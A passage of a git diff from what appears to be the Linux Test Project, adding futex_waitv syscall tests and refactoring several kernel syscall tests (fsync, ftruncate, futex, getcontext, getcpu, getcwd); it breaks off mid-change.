BUF_SIZE 2048 char tempfile[40] = ""; char pbuf[BUF_SIZE]; int fd; off_t max_blks = MAXBLKS; +int time_limit = 120; struct statvfs stat_buf; @@ -35,6 +35,11 @@ static void setup(void) { /* free blocks avail to non-superuser */ unsigned long f_bavail; + if (tst_is_virt(VIRT_ANY)) { + tst_res(TINFO, "Running in a VM, multiply the time_limit by 2"); + time_limit *= 2; + } + fd = SAFE_OPEN("tempfile", O_RDWR | O_CREAT | O_TRUNC, 0777); if (fstatvfs(fd, &stat_buf) != 0) { @@ -48,7 +53,7 @@ static void setup(void) { #ifdef LARGEFILE SAFE_FCNTL(fd, F_SETFL, O_LARGEFILE); - SAFE_WRITE(1, fd, pbuf, BUF_SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd, pbuf, BUF_SIZE); #endif } @@ -69,7 +74,7 @@ static void run(void) { offset = i * ((BLOCKSIZE * max_block) / data_blocks); offset -= BUF_SIZE; SAFE_LSEEK(fd, offset, SEEK_SET); - SAFE_WRITE(1, fd, pbuf, BUF_SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd, pbuf, BUF_SIZE); } time_start = time(0); @@ -89,7 +94,7 @@ static void run(void) { "timer broken end %ld < start %ld", time_end, time_start); } else if ((time_delta = - difftime(time_end, time_start)) > TIME_LIMIT) { + difftime(time_end, time_start)) > time_limit) { tst_res(TFAIL, "fsync took too long: %lf seconds; " "max_block: %d; data_blocks: %d", @@ -109,5 +114,6 @@ static struct tst_test test = { .test_all = run, .setup = setup, .cleanup = cleanup, - .needs_tmpdir = 1 + .needs_tmpdir = 1, + .max_runtime = 300, }; diff --git a/testcases/kernel/syscalls/ftruncate/ftruncate03.c b/testcases/kernel/syscalls/ftruncate/ftruncate03.c index 95c33047..f2fa96dc 100755 --- a/testcases/kernel/syscalls/ftruncate/ftruncate03.c +++ b/testcases/kernel/syscalls/ftruncate/ftruncate03.c @@ -2,17 +2,18 @@ /* * Copyright (c) International Business Machines Corp., 2002 * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved. - * - * Jay Huie - * Robbie Williamson + * Author: Jay Huie, Robbie Williamson */ -/* - * Test Description: - * Verify that, - * 1)ftruncate() fails with EINVAL if the file is a socket. - * 2)ftruncate() fails with EINVAL if the file descriptor opens with O_RDONLY. - * 3)ftruncate() fails with EINVAL if the length is negative. - * 4)ftruncate() fails with EBADF if the file descriptor is invalid. + +/*\ + * [Description] + * + * Verify that ftruncate(2) system call returns appropriate error number: + * + * 1. EINVAL -- the file is a socket + * 2. EINVAL -- the file descriptor was opened with O_RDONLY + * 3. EINVAL -- the length is negative + * 4. EBADF -- the file descriptor is invalid */ #include diff --git a/testcases/kernel/syscalls/futex/.gitignore b/testcases/kernel/syscalls/futex/.gitignore index 54cd02b0..9d08ba7d 100755 --- a/testcases/kernel/syscalls/futex/.gitignore +++ b/testcases/kernel/syscalls/futex/.gitignore @@ -10,3 +10,6 @@ /futex_wake02 /futex_wake03 /futex_wake04 +/futex_waitv01 +/futex_waitv02 +/futex_waitv03 diff --git a/testcases/kernel/syscalls/futex/Makefile b/testcases/kernel/syscalls/futex/Makefile index 5713c615..1d05cf11 100755 --- a/testcases/kernel/syscalls/futex/Makefile +++ b/testcases/kernel/syscalls/futex/Makefile @@ -3,8 +3,21 @@ top_srcdir ?= ../../../.. -futex_cmp_requeue01 futex_cmp_requeue02 futex_wait02 futex_wake03 futex_wait05 futex_wait_bitset01: LDLIBS += -lrt -futex_wait03 futex_wake02 futex_wake04: CFLAGS += -pthread +futex_cmp_requeue01: LDLIBS+=-lrt +futex_cmp_requeue02: LDLIBS+=-lrt +futex_wait02: LDLIBS+=-lrt +futex_wake03: LDLIBS+=-lrt +futex_wait05: LDLIBS+=-lrt +futex_wait_bitset01: LDLIBS+=-lrt +futex_waitv01: LDLIBS+=-lrt +futex_waitv02: LDLIBS+=-lrt +futex_waitv03: LDLIBS+=-lrt + +futex_wait03: CFLAGS+=-pthread +futex_wake02: CFLAGS+=-pthread +futex_wake04: CFLAGS+=-pthread +futex_waitv02: CFLAGS+=-pthread +futex_waitv03: CFLAGS+=-pthread include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/futex/futex2test.h b/testcases/kernel/syscalls/futex/futex2test.h new file mode 100644 index 00000000..ce97f47c --- /dev/null +++ b/testcases/kernel/syscalls/futex/futex2test.h @@ -0,0 +1,30 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Futex2 library addons for futex tests + * + * Copyright 2021 Collabora Ltd. + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +#ifndef FUTEX2TEST_H +#define FUTEX2TEST_H + +#include +#include "lapi/syscalls.h" +#include "futextest.h" + +/** + * futex_waitv - Wait at multiple futexes, wake on any + * @waiters: Array of waiters + * @nr_waiters: Length of waiters array + * @flags: Operation flags + * @timo: Optional timeout for operation + */ +static inline int futex_waitv(volatile struct futex_waitv *waiters, + unsigned long nr_waiters, unsigned long flags, + struct timespec *timo, clockid_t clockid) +{ + return tst_syscall(__NR_futex_waitv, waiters, nr_waiters, flags, timo, clockid); +} + +#endif /* _FUTEX2TEST_H */ diff --git a/testcases/kernel/syscalls/futex/futex_cmp_requeue01.c b/testcases/kernel/syscalls/futex/futex_cmp_requeue01.c index 13e67c75..87270446 100755 --- a/testcases/kernel/syscalls/futex/futex_cmp_requeue01.c +++ b/testcases/kernel/syscalls/futex/futex_cmp_requeue01.c @@ -12,12 +12,11 @@ #include #include #include -#include #include -#include "tst_timer_test.h" #include "tst_test.h" #include "futextest.h" +#include "lapi/futex.h" struct shared_data { futex_t futexes[2]; diff --git a/testcases/kernel/syscalls/futex/futex_cmp_requeue02.c b/testcases/kernel/syscalls/futex/futex_cmp_requeue02.c index 0514b0ba..073ea3bf 100755 --- a/testcases/kernel/syscalls/futex/futex_cmp_requeue02.c +++ b/testcases/kernel/syscalls/futex/futex_cmp_requeue02.c @@ -13,11 +13,11 @@ */ #include -#include #include #include "tst_test.h" #include "futextest.h" +#include "lapi/futex.h" static futex_t *futexes; diff --git a/testcases/kernel/syscalls/futex/futex_utils.h b/testcases/kernel/syscalls/futex/futex_utils.h index 156895ef..7ce13e62 100755 --- a/testcases/kernel/syscalls/futex/futex_utils.h +++ b/testcases/kernel/syscalls/futex/futex_utils.h @@ -1,20 +1,7 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) 2015 Cyril Hrubis - * - * Licensed under the GNU GPLv2 or later. - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software Foundation, - * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (C) 2021 SUSE LLC Andrea Cervesato */ #ifndef FUTEX_UTILS_H__ @@ -23,6 +10,27 @@ #include #include +#if __NR_futex != __LTP__NR_INVALID_SYSCALL && __NR_futex_time64 != __LTP__NR_INVALID_SYSCALL +# define FUTEX_VARIANTS 2 +#else +# define FUTEX_VARIANTS 1 +#endif + +static inline struct futex_test_variants futex_variant(void) +{ + struct futex_test_variants variants[] = { + #if (__NR_futex != __LTP__NR_INVALID_SYSCALL) + { .fntype = FUTEX_FN_FUTEX, .desc = "syscall with old kernel spec" }, + #endif + + #if (__NR_futex_time64 != __LTP__NR_INVALID_SYSCALL) + { .fntype = FUTEX_FN_FUTEX64, .desc = "syscall time64 with kernel spec" }, + #endif + }; + + return variants[tst_variant]; +} + /* * Wait for nr_threads to be sleeping */ diff --git a/testcases/kernel/syscalls/futex/futex_waitv01.c b/testcases/kernel/syscalls/futex/futex_waitv01.c new file mode 100644 index 00000000..17b96738 --- /dev/null +++ b/testcases/kernel/syscalls/futex/futex_waitv01.c @@ -0,0 +1,172 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * This test verifies EINVAL for futex_waitv syscall. + */ + +#include +#include +#include "tst_test.h" +#include "lapi/futex.h" +#include "futex2test.h" +#include "tst_safe_clocks.h" + +static uint32_t *futex; +static struct futex_waitv *waitv; + +static void setup(void) +{ + futex = SAFE_MALLOC(sizeof(uint32_t)); + *futex = FUTEX_INITIALIZER; +} + +static void init_timeout(struct timespec *to) +{ + SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, to); + to->tv_sec++; +} + +static void init_waitv(void) +{ + waitv->uaddr = (uintptr_t)futex; + waitv->flags = FUTEX_32 | FUTEX_PRIVATE_FLAG; + waitv->val = 0; +} + +static void test_invalid_flags(void) +{ + struct timespec to; + + init_waitv(); + init_timeout(&to); + + /* Testing a waiter without FUTEX_32 flag */ + waitv->flags = FUTEX_PRIVATE_FLAG; + + TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_MONOTONIC), EINVAL, + "futex_waitv with invalid flags"); +} + +static void test_unaligned_address(void) +{ + struct timespec to; + + init_waitv(); + init_timeout(&to); + + waitv->uaddr = 1; + + TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_MONOTONIC), EINVAL, + "futex_waitv with unligned address"); +} + +static void test_null_address(void) +{ + struct timespec to; + + init_waitv(); + init_timeout(&to); + + waitv->uaddr = 0x00000000; + + TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_MONOTONIC), EFAULT, + "futex_waitv address is NULL"); +} + +static void test_null_waiters(void) +{ + struct timespec to; + + init_timeout(&to); + + TST_EXP_FAIL(futex_waitv(NULL, 1, 0, &to, CLOCK_MONOTONIC), EINVAL, + "futex_waitv waiters are NULL"); +} + +static void test_invalid_clockid(void) +{ + struct timespec to; + + init_waitv(); + init_timeout(&to); + + TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_TAI), EINVAL, + "futex_waitv invalid clockid"); +} + +static void test_invalid_nr_futexes(void) +{ + struct timespec to; + + init_waitv(); + init_timeout(&to); + + /* Valid nr_futexes is [1, 128] */ + TST_EXP_FAIL(futex_waitv(waitv, 129, 0, &to, CLOCK_MONOTONIC), EINVAL, + "futex_waitv invalid nr_futexes"); + TST_EXP_FAIL(futex_waitv(waitv, 0, 0, &to, CLOCK_MONOTONIC), EINVAL, + "futex_waitv invalid nr_futexes"); +} + +static void test_mismatch_between_uaddr_and_val(void) +{ + struct timespec to; + + waitv->uaddr = (uintptr_t)futex; + waitv->flags = FUTEX_32 | FUTEX_PRIVATE_FLAG; + waitv->val = 1; + + init_timeout(&to); + + TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_MONOTONIC), EAGAIN, + "futex_waitv mismatch between value of uaddr and val"); +} + +static void test_timeout(void) +{ + struct timespec to; + + waitv->uaddr = (uintptr_t)futex; + waitv->flags = FUTEX_32 | FUTEX_PRIVATE_FLAG; + waitv->val = 0; + + SAFE_CLOCK_GETTIME(CLOCK_REALTIME, &to); + to = tst_timespec_add_us(to, 10000); + + TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_REALTIME), ETIMEDOUT, + "futex_waitv timeout"); +} + +static void cleanup(void) +{ + free(futex); +} + +static void run(void) +{ + test_invalid_flags(); + test_unaligned_address(); + test_null_address(); + test_null_waiters(); + test_invalid_clockid(); + test_invalid_nr_futexes(); + test_mismatch_between_uaddr_and_val(); + test_timeout(); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .min_kver = "5.16", + .bufs = + (struct tst_buffers[]){ + { &waitv, .size = sizeof(struct futex_waitv) }, + {}, + }, +}; diff --git a/testcases/kernel/syscalls/futex/futex_waitv02.c b/testcases/kernel/syscalls/futex/futex_waitv02.c new file mode 100644 index 00000000..ccea5eb5 --- /dev/null +++ b/testcases/kernel/syscalls/futex/futex_waitv02.c @@ -0,0 +1,97 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * This test verifies futex_waitv syscall using private data. + */ + +#define _GNU_SOURCE +#include +#include +#include "tst_test.h" +#include "lapi/futex.h" +#include "lapi/syscalls.h" +#include "futex2test.h" +#include "futex_utils.h" +#include "tst_safe_pthread.h" +#include "tst_safe_clocks.h" + +static char *str_numfutex; +static int numfutex = 30; + +static uint32_t *futexes; +static struct futex_waitv *waitv; + +static void setup(void) +{ + struct futex_test_variants tv = futex_variant(); + int i; + + tst_res(TINFO, "Testing variant: %s", tv.desc); + futex_supported_by_kernel(tv.fntype); + + if (tst_parse_int(str_numfutex, &numfutex, 1, FUTEX_WAITV_MAX)) + tst_brk(TBROK, "Invalid number of futexes '%s'", str_numfutex); + + futexes = tst_alloc(sizeof(uint32_t) * numfutex); + memset(futexes, FUTEX_INITIALIZER, sizeof(uint32_t) * numfutex); + + waitv = tst_alloc(sizeof(struct futex_waitv) * numfutex); + memset(waitv, 0, sizeof(struct futex_waitv) * numfutex); + + for (i = 0; i < numfutex; i++) { + waitv[i].uaddr = (uintptr_t)&futexes[i]; + waitv[i].flags = FUTEX_32 | FUTEX_PRIVATE_FLAG; + waitv[i].val = 0; + } +} + +static void *threaded(LTP_ATTRIBUTE_UNUSED void *arg) +{ + struct futex_test_variants tv = futex_variant(); + + TST_RETRY_FUNC(futex_wake(tv.fntype, + (void *)(uintptr_t)waitv[numfutex - 1].uaddr, + 1, FUTEX_PRIVATE_FLAG), futex_waked_someone); + + return NULL; +} + +static void run(void) +{ + struct timespec to; + pthread_t t; + + SAFE_PTHREAD_CREATE(&t, NULL, threaded, NULL); + + /* setting absolute timeout for futex2 */ + SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &to); + to.tv_sec += 5; + + TEST(futex_waitv(waitv, numfutex, 0, &to, CLOCK_MONOTONIC)); + if (TST_RET < 0) { + tst_brk(TBROK | TTERRNO, "futex_waitv returned: %ld", TST_RET); + } else if (TST_RET != numfutex - 1) { + tst_res(TFAIL, "futex_waitv returned: %ld, expecting %d", + TST_RET, numfutex - 1); + } + + SAFE_PTHREAD_JOIN(t, NULL); + tst_res(TPASS, "futex_waitv returned correctly"); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .min_kver = "5.16", + .test_variants = FUTEX_VARIANTS, + .options = + (struct tst_option[]){ + { "n:", &str_numfutex, "Number of futex (default 30)" }, + {}, + }, +}; diff --git a/testcases/kernel/syscalls/futex/futex_waitv03.c b/testcases/kernel/syscalls/futex/futex_waitv03.c new file mode 100644 index 00000000..c674f52d --- /dev/null +++ b/testcases/kernel/syscalls/futex/futex_waitv03.c @@ -0,0 +1,118 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * This test verifies futex_waitv syscall using shared data. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include "tst_test.h" +#include "lapi/futex.h" +#include "lapi/syscalls.h" +#include "futex2test.h" +#include "futex_utils.h" +#include "tst_safe_pthread.h" +#include "tst_safe_clocks.h" +#include "tst_safe_sysv_ipc.h" + +static char *str_numfutex; +static int numfutex = 30; + +static struct futex_waitv *waitv; +static unsigned int waitv_allocated; +static int *shmids; + +static void setup(void) +{ + struct futex_test_variants tv = futex_variant(); + int i; + + tst_res(TINFO, "Testing variant: %s", tv.desc); + futex_supported_by_kernel(tv.fntype); + + if (tst_parse_int(str_numfutex, &numfutex, 1, FUTEX_WAITV_MAX)) + tst_brk(TBROK, "Invalid number of futexes '%s'", str_numfutex); + + waitv = tst_alloc(sizeof(struct futex_waitv) * numfutex); + memset(waitv, 0, sizeof(struct futex_waitv) * numfutex); + shmids = tst_alloc(sizeof(int*) * numfutex); + memset(shmids, 0, sizeof(int*) * numfutex); + + for (i = 0; i < numfutex; i++) { + shmids[i] = SAFE_SHMGET(IPC_PRIVATE, 4096, IPC_CREAT | 0666); + waitv[i].uaddr = (uintptr_t)SAFE_SHMAT(shmids[i], NULL, 0); + waitv[i].flags = FUTEX_32; + waitv[i].val = 0; + } + waitv_allocated = tst_variant + 1; +} + +static void cleanup(void) +{ + int i; + + if (waitv_allocated != (tst_variant + 1)) + return; + + for (i = 0; i < numfutex; i++) { + if (!waitv[i].uaddr) + continue; + + SAFE_SHMDT((void *)(uintptr_t)waitv[i].uaddr); + SAFE_SHMCTL(shmids[i], IPC_RMID, NULL); + } +} + +static void *threaded(LTP_ATTRIBUTE_UNUSED void *arg) +{ + struct futex_test_variants tv = futex_variant(); + + TST_RETRY_FUNC(futex_wake(tv.fntype, + (void *)(uintptr_t)waitv[numfutex - 1].uaddr, + 1, 0), futex_waked_someone); + + return NULL; +} + +static void run(void) +{ + struct timespec to; + pthread_t t; + + SAFE_PTHREAD_CREATE(&t, NULL, threaded, NULL); + + /* setting absolute timeout for futex2 */ + SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &to); + to.tv_sec += 5; + + TEST(futex_waitv(waitv, numfutex, 0, &to, CLOCK_MONOTONIC)); + if (TST_RET < 0) { + tst_brk(TBROK | TTERRNO, "futex_waitv returned: %ld", TST_RET); + } else if (TST_RET != numfutex - 1) { + tst_res(TFAIL, "futex_waitv returned: %ld, expecting %d", + TST_RET, numfutex - 1); + } + + SAFE_PTHREAD_JOIN(t, NULL); + tst_res(TPASS, "futex_waitv returned correctly"); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .min_kver = "5.16", + .test_variants = FUTEX_VARIANTS, + .options = + (struct tst_option[]){ + { "n:", &str_numfutex, "Number of futex (default 30)" }, + {}, + }, +}; diff --git a/testcases/kernel/syscalls/futex/futex_wake04.c b/testcases/kernel/syscalls/futex/futex_wake04.c index 2260a393..03d90591 100755 --- a/testcases/kernel/syscalls/futex/futex_wake04.c +++ b/testcases/kernel/syscalls/futex/futex_wake04.c @@ -21,7 +21,6 @@ */ #include -#include #include #include #include @@ -48,9 +47,6 @@ static struct futex_test_variants variants[] = { static void setup(void) { - if (tst_hugepages == 0) - tst_brk(TCONF, "No enough hugepages for testing."); - struct futex_test_variants *tv = &variants[tst_variant]; tst_res(TINFO, "Testing variant: %s", tv->desc); @@ -133,7 +129,6 @@ static struct tst_test test = { .test_all = wakeup_thread2, .test_variants = ARRAY_SIZE(variants), .needs_root = 1, - .min_kver = "2.6.32", .needs_tmpdir = 1, - .request_hugepages = 1, + .hugepages = {1, TST_NEEDS}, }; diff --git a/testcases/kernel/syscalls/futex/futextest.h b/testcases/kernel/syscalls/futex/futextest.h index 3f2f36fe..515b5102 100755 --- a/testcases/kernel/syscalls/futex/futextest.h +++ b/testcases/kernel/syscalls/futex/futextest.h @@ -10,58 +10,17 @@ * Darren Hart */ -#ifndef _FUTEXTEST_H -#define _FUTEXTEST_H +#ifndef FUTEXTEST_H +#define FUTEXTEST_H #include #include #include -#include #include "lapi/futex.h" #include "tst_timer.h" #define FUTEX_INITIALIZER 0 -#ifndef FUTEX_CMP_REQUEUE -# define FUTEX_CMP_REQUEUE 4 -#endif -#ifndef FUTEX_WAKE_OP -# define FUTEX_WAKE_OP 5 -#endif -#ifndef FUTEX_LOCK_PI -# define FUTEX_LOCK_PI 6 -#endif -#ifndef FUTEX_UNLOCK_PI -# define FUTEX_UNLOCK_PI 7 -#endif -#ifndef FUTEX_WAIT_BITSET -# define FUTEX_WAIT_BITSET 9 -#endif -#ifndef FUTEX_WAKE_BITSET -# define FUTEX_WAKE_BITSET 10 -#endif -#ifndef FUTEX_WAIT_REQUEUE_PI -# define FUTEX_WAIT_REQUEUE_PI 11 -#endif -#ifndef FUTEX_CMP_REQUEUE_PI -# define FUTEX_CMP_REQUEUE_PI 12 -#endif -#ifndef FUTEX_PRIVATE_FLAG -# define FUTEX_PRIVATE_FLAG 128 -#endif -#ifndef FUTEX_WAIT_REQUEUE_PI_PRIVATE -# define FUTEX_WAIT_REQUEUE_PI_PRIVATE (FUTEX_WAIT_REQUEUE_PI | \ - FUTEX_PRIVATE_FLAG) -#endif -#ifndef FUTEX_REQUEUE_PI_PRIVATE -# define FUTEX_CMP_REQUEUE_PI_PRIVATE (FUTEX_CMP_REQUEUE_PI | \ - FUTEX_PRIVATE_FLAG) -#endif - -#ifndef FUTEX_CLOCK_REALTIME -# define FUTEX_CLOCK_REALTIME 256 -#endif - enum futex_fn_type { FUTEX_FN_FUTEX, FUTEX_FN_FUTEX64, @@ -318,4 +277,19 @@ futex_set(futex_t *uaddr, u_int32_t newval) return newval; } -#endif +/** + * futex_waked_someone() - ECHCK func for TST_RETRY_FUNC + * @ret: return value of futex_wake + * + * Return value drives TST_RETRY_FUNC macro. + */ +static inline int +futex_waked_someone(int ret) +{ + if (ret < 0) + tst_brk(TBROK | TERRNO, "futex_wake returned: %d", ret); + + return ret; +} + +#endif /* _FUTEXTEST_H */ diff --git a/testcases/kernel/syscalls/futimesat/futimesat01.c b/testcases/kernel/syscalls/futimesat/futimesat01.c index e3b1011e..46bd57c4 100755 --- a/testcases/kernel/syscalls/futimesat/futimesat01.c +++ b/testcases/kernel/syscalls/futimesat/futimesat01.c @@ -58,7 +58,7 @@ static const int expected_errno[] = { 0, 0, ENOTDIR, EBADF, 0 }; int myfutimesat(int dirfd, const char *filename, struct timeval *times) { - return ltp_syscall(__NR_futimesat, dirfd, filename, times); + return tst_syscall(__NR_futimesat, dirfd, filename, times); } int main(int ac, char **av) @@ -66,9 +66,6 @@ int main(int ac, char **av) int lc, i; struct timeval times[2]; - if (tst_kvercmp(2, 6, 16) < 0) - tst_brkm(TCONF, NULL, "Test must be run with kernel 2.6.16+"); - tst_parse_opts(ac, av, NULL, NULL); setup(); diff --git a/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c b/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c index 222dc6f2..1ff37bc9 100755 --- a/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c +++ b/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c @@ -94,7 +94,7 @@ int main(int argc, char **argv) * argument. */ - TEST(ltp_syscall(__NR_get_robust_list, 0, + TEST(tst_syscall(__NR_get_robust_list, 0, (struct robust_list_head *)&head, NULL)); @@ -110,7 +110,7 @@ int main(int argc, char **argv) tst_resm(TFAIL, "get_robust_list succeeded unexpectedly"); - TEST(ltp_syscall(__NR_get_robust_list, 0, + TEST(tst_syscall(__NR_get_robust_list, 0, NULL, &len_ptr)); @@ -131,7 +131,7 @@ int main(int argc, char **argv) * find the task specified by the pid argument. */ - TEST(ltp_syscall(__NR_get_robust_list, unused_pid, + TEST(tst_syscall(__NR_get_robust_list, unused_pid, (struct robust_list_head *)&head, &len_ptr)); @@ -147,7 +147,7 @@ int main(int argc, char **argv) tst_resm(TFAIL, "get_robust_list succeeded unexpectedly"); - TEST(ltp_syscall(__NR_get_robust_list, 0, + TEST(tst_syscall(__NR_get_robust_list, 0, (struct robust_list_head **)&head, &len_ptr)); @@ -159,7 +159,7 @@ int main(int argc, char **argv) SAFE_SETUID(cleanup, 1); - TEST(ltp_syscall(__NR_get_robust_list, 1, + TEST(tst_syscall(__NR_get_robust_list, 1, (struct robust_list_head *)&head, &len_ptr)); diff --git a/testcases/kernel/syscalls/getcontext/getcontext01.c b/testcases/kernel/syscalls/getcontext/getcontext01.c index 48e78907..5896c380 100755 --- a/testcases/kernel/syscalls/getcontext/getcontext01.c +++ b/testcases/kernel/syscalls/getcontext/getcontext01.c @@ -1,89 +1,48 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Wipro Technologies Ltd, 2005. All Rights Reserved. - * Author: Prashant P Yendigeri - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. + * Author: Prashant P Yendigeri + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * Basic test for getcontext(). * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * Calls a getcontext() then jumps back with a setcontext(). */ -#include - -#include -#include -#include -#include - -#include "test.h" +#include "config.h" +#include "tst_test.h" -char *TCID = "getcontext01"; +#ifdef HAVE_GETCONTEXT -#if !defined(__UCLIBC__) - -static void setup(void); -static void cleanup(void); +#include -int TST_TOTAL = 1; +static volatile int flag; -static void test_getcontext(void) +static void run(void) { ucontext_t ptr; - TEST(getcontext(&ptr)); - - if (TEST_RETURN == -1) { - if (errno == ENOSYS) - tst_resm(TCONF, "getcontext not implemented in libc"); - else - tst_resm(TFAIL | TTERRNO, "getcontext failed"); - } else if (TEST_RETURN == 0) { - tst_resm(TPASS, "getcontext passed"); - } else { - tst_resm(TFAIL, "Unexpected return value %li", TEST_RETURN); - } -} - -int main(int ac, char **av) -{ - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); + flag = 0; - for (lc = 0; TEST_LOOPING(lc); lc++) { + TST_EXP_PASS(getcontext(&ptr), "getcontext() flag=%i", flag); - tst_count = 0; + if (flag) + return; - test_getcontext(); - } + flag = 1; + setcontext(&ptr); - cleanup(); - tst_exit(); + tst_res(TFAIL, "setcontext() did return"); } -static void setup(void) -{ - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; -} +static struct tst_test test = { + .test_all = run, +}; -static void cleanup(void) -{ -} - -#else /* systems that dont support obsolete getcontext */ -int main(void) -{ - tst_brkm(TCONF, NULL, "system doesn't have getcontext support"); -} +#else +TST_TEST_TCONF("system doesn't have getcontext support"); #endif diff --git a/testcases/kernel/syscalls/getcpu/getcpu01.c b/testcases/kernel/syscalls/getcpu/getcpu01.c index fcc273e2..9842c899 100755 --- a/testcases/kernel/syscalls/getcpu/getcpu01.c +++ b/testcases/kernel/syscalls/getcpu/getcpu01.c @@ -11,26 +11,12 @@ #define _GNU_SOURCE #include #include -#include #include #include #include -#include "lapi/syscalls.h" -#include "lapi/cpuset.h" #include "tst_test.h" -#include "config.h" - -static inline int get_cpu(unsigned *cpu_id, - unsigned *node_id LTP_ATTRIBUTE_UNUSED, - void *cache_struct LTP_ATTRIBUTE_UNUSED) -{ -#ifndef HAVE_SCHED_GETCPU - return tst_syscall(__NR_getcpu, cpu_id, node_id, cache_struct); -#else - *cpu_id = sched_getcpu(); -#endif - return 0; -} +#include "lapi/cpuset.h" +#include "lapi/sched.h" static unsigned int max_cpuid(size_t size, cpu_set_t * set) { @@ -78,12 +64,12 @@ realloc: return cpu_max; } -#ifdef __i386__ static unsigned int get_nodeid(unsigned int cpu_id) { DIR *directory_parent, *directory_node; struct dirent *de, *dn; char directory_path[PATH_MAX]; + char *invalid_number; unsigned int cpu; int node_id = 0; @@ -106,7 +92,9 @@ static unsigned int get_nodeid(unsigned int cpu_id) while ((dn = readdir(directory_node)) != NULL) { if (strncmp(dn->d_name, "cpu", 3)) continue; - cpu = strtoul(dn->d_name + 3, NULL, 0); + cpu = strtoul(dn->d_name + 3, &invalid_number, 0); + if (strcmp(invalid_number, "\0")) + continue; if (cpu == cpu_id) { node_id = strtoul(de->d_name + 4, NULL, 0); @@ -119,33 +107,26 @@ static unsigned int get_nodeid(unsigned int cpu_id) } return node_id; } -#endif static void run(void) { unsigned int cpu_id, node_id = 0; unsigned int cpu_set; -#ifdef __i386__ unsigned int node_set; -#endif cpu_set = set_cpu_affinity(); -#ifdef __i386__ node_set = get_nodeid(cpu_set); -#endif - TEST(get_cpu(&cpu_id, &node_id, NULL)); + TEST(getcpu(&cpu_id, &node_id)); if (TST_RET == 0) { if (cpu_id != cpu_set) tst_res(TFAIL, "getcpu() returned wrong value" " expected cpuid:%d, returned value cpuid: %d", cpu_set, cpu_id); -#ifdef __i386__ else if (node_id != node_set) tst_res(TFAIL, "getcpu() returned wrong value" " expected node id:%d returned node id:%d", node_set, node_id); -#endif else tst_res(TPASS, "getcpu() returned proper" " cpuid:%d, node id:%d", cpu_id, @@ -156,13 +137,6 @@ static void run(void) } } -static void setup(void) -{ - if (tst_kvercmp(2, 6, 20) < 0) - tst_brk(TCONF, "kernel >= 2.6.20 required"); -} - static struct tst_test test = { .test_all = run, - .setup = setup, }; diff --git a/testcases/kernel/syscalls/getcwd/getcwd02.c b/testcases/kernel/syscalls/getcwd/getcwd02.c index e843a489..cb111a69 100755 --- a/testcases/kernel/syscalls/getcwd/getcwd02.c +++ b/testcases/kernel/syscalls/getcwd/getcwd02.c @@ -42,28 +42,6 @@ static int dir_exists(const char *dirpath) return 0; } -static const char *get_tmpdir_path(void) -{ - char *tmpdir = "/tmp"; - - if (dir_exists(tmpdir)) - goto done; - - /* fallback to $TMPDIR */ - tmpdir = getenv("TMPDIR"); - if (!tmpdir) - tst_brk(TBROK | TERRNO, "Failed to get $TMPDIR"); - - if (tmpdir[0] != '/') - tst_brk(TBROK, "$TMPDIR must be an absolute path"); - - if (!dir_exists(tmpdir)) - tst_brk(TBROK | TERRNO, "TMPDIR '%s' doesn't exist", tmpdir); - -done: - return tmpdir; -} - static void verify_getcwd(unsigned int n) { struct t_case *tc = &tcases[n]; @@ -92,7 +70,10 @@ end: static void setup(void) { - const char *tmpdir = get_tmpdir_path(); + const char *tmpdir = tst_get_tmpdir_root(); + + if (!dir_exists(tmpdir)) + 